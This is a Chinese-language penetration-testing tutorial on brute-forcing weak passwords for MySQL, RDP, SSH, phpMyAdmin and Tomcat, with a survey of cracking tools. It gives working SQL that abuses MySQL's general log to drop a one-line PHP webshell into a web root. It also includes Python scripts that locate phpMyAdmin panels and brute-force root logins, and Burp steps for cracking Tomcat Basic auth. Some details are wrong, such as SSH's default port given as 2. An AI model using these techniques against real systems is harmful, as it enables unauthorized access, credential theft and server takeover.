字典生成工具
- crunch
kali自带
教程: https://blog.csdn.net/qq_42025840/article/details/81125584. - dictBuilder
链接: https://github.com/he1m4n6a/dictBuilder.
字典收集
可以收集一些别的师傅的(github找),自己在渗透实战后也应该总结字典。
常见弱口令工具
- Hydra(九头蛇)
kali默认安装。
使用方法:https://www.jianshu.com/p/4da49f179cee
弊端:不好使,暴破时遇到成功的好像是不会停⽌的;如果密码字典较⼤,那么暴破的速度就会很慢。
优点:⽀持的服务多,可在其他⼯具⽆果的时候暴破小的字典,通常可以把已抓到的密码⽤于碰撞。
适⽤场景:已经获取到⼀批密码,需要测试这些密码是否能登陆其他机器,或者暴破较小的字典 - Medusa(美杜莎)
kali默认安装
使用方法:https://blog.csdn.net/smli_ng/article/details/106096017
优点:比Hydra快
缺点:支持的协议少,不支持windows
适用场景:与Hydra相同。 - Metasploit Framework(MSF)
kali默认安装,弱口令只是其中一个模块。
使用方法就不说了,这个有点多。
优点:⽀持的协议多;准确率⾼;成功的可以存⼊数据库;⽀持CIDR,⽀持导⼊⽂件,⽀持多个IP同时输⼊,⽀持IP段。
缺点:难上手,不支持windows
适用场景:已经获取到⼀批密码,需要测试这些密码是否能登陆其他机器。 暴破⼀般的字典,几十MB的字典也能承受。与目标网络的通信较好的情况。 - 超级弱口令检查⼯具
正如名字一样简单粗暴,国人开发的弱口令工具。
地址:https://github.com/shack2/SNETCracker
优点:易于上手
缺点:可能不太准
适用场景:⼤密码,小密码都可以操作。适⽤于外网的暴破及较好网络下的内⽹暴破。 - Ladon
这是内网渗透工具,有爆破功能,支持多种协议。
地址:https://github.com/k8gege/Ladon/wiki
优点:小巧,⾼速,可内存加载,可扩展;
缺点:⾃定义密码的时候较为⿇烦
适⽤场景 :外⽹的快速探测 ,或者内⽹内存加载后⾼速爆破【⽆⽂件,免杀】。
爆破MySQL
有时信息收集时可以得到mysql路径(mysql默认端口3306),于是我么可以尝试爆破得到mysql管理账号密码。
爆破工具:
- linux下可以用Hydra(九头蛇)和Medusa(美杜莎)。
- windows下可以使用Ladon。
爆破得到密码后可以尝试写shell,提权等操作。
写shell:有绝对路径并且有写权限时可以直接写入;也可以尝试日志写入。
- 直接写入:有绝对路径并且有写权限
- 日志写入:
general log 指的是日志保存状态,要ON(打开);general log file 指的是日志的保存路径。
利用思路:开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用。
例子代码:
set global general_log = "ON";
set global general_log_file='C:/wamp64/www/ma.php';
//之后再写入一句话木马
select <?php eval($_POST[cmd]);?>
提权将在内网篇中详讲。
RDP(远程桌面)爆破
有时信息收集时可以得到RDP路径(RDP默认端口3389),于是我么可以尝试爆破RDP尝试获取远程桌面账号密码。
不过一般不使用爆破RDP,原因:速度慢,动作大,易被反查。这里我们只是说一种思路。
SSH(安全远程登录协议)爆破
有时信息收集时可以得到SSH路径(SSH默认端口2),于是我么可以尝试爆破SSH尝试获取远程登录账号密码。
这里也是用上面那几个介绍的工具。
PHPmyadmin爆破
具体的使用可以看各类实战性点之基于PHPmyadmin
这里只介绍爆破账号和密码。
传统的使用burpsuite是不行了的,因为每次请求的token是⼀样的话,结果也会每次都⼀样的,所以我们可以自己编写爆破脚本。
python脚本编写
判断一个网址是否有phpmyadmin后台(关键字判断法):
网页中存在如下关键字即可判断存在phpmyadmin后台
欢迎使用 <bdo dir="ltr" xml:lang="en">phpMyAdmin </b
title="phpMyAdmin 文档
Documentation.html
判断代码
def run(url):
try://异常处理之执行如下代码
r = requests.get(url,timeout=20)//get方法请求url
print('{} : {}'.format(r.url,r.status_code))//打印url和状态码
if b'Documentation.html' in r.content://如果特殊语句存在在响应包中
print('网址:{} 发现PHPMYADMIN后台地址'.format(url))
with open('phpmyadmin_url.txt', 'a+')as a://以a+(读写)方式打开文件
a.write(r.url + '\n')//写入url+换行
except://异常处理之发生异常的结果如下
pass
if __name__ == '__main__':
run('http://127.0.0.1/phpmyadmin/index.php')//测试如下url
何判断是否登陆成功(关键字判断法):
登录成功响应包中有:
<p>phpMyAdmin 更适合在支持
<title>phpMyAdmin
mainFrameset
代码如下:
def scan(url,passwords):
for password in passwords:
data = {'pma_username': 'root', 'pma_password':password}
# 组成发送的数据包
try:
r = requests.post(url,data=data)
print(f'当前爆破用户名 root:{password}')
# 发起请求,尝试登陆
if b'mainFrameset' in r.content:
# 登陆成功后 ,页面会有 mainFrameset这个关键词
print('爆破成功')
with open('success.txt','a+')as a:
a.write(url+'|root|'+password+'\n')
return
# 成功的会保存到目录的success.txt文本中
# 然后return的功能是退出函数
except:
pass
if __name__ == '__main__':
passwords = ['mysql','123456','root1234','root']
scan('http://127.0.0.1/phpmyadmin/',passwords)
Tomcat(轻量级服务器)爆破
Tomcat 服务器是⼀个免费的开放源代码的Web 应⽤服务器中间件,属于轻量级应⽤服务器,在中小型系统和并发访问⽤⼾ 不是很多的场合下被普遍使⽤,是开发和调试JSP 程序的首选。Tomcat就是Apache的拓展。
验证方式:主要是基本验证(401验证)就是把账号密码进⾏base64编码后作为HTTP头中Authorization的值传⼊服务器进⾏解析认证
在渗透中的作用:
Tomcat存在后台(8080是Tomcat的默认端口),我们找到后可以尝试暴力破解账号和密码(默认账号和密码都是Tomcat)。
暴力破解:burpsuite
登录数据包含有:
Authorization: Basic dG9tY2F0OnRvbWNhdA==
dG9tY2F0OnRvbWNhdA==
经过base64解密得到tomcat:tomcat
即账号+:+密码的格式,所以我们在使用burp爆破时应选择Custom iterator,payload1选择账号,payload2选择:,payload3选择密码,之后再选择base64加密选项。
爆破上去之后如果权限够可以写webshell(默认最高权限)。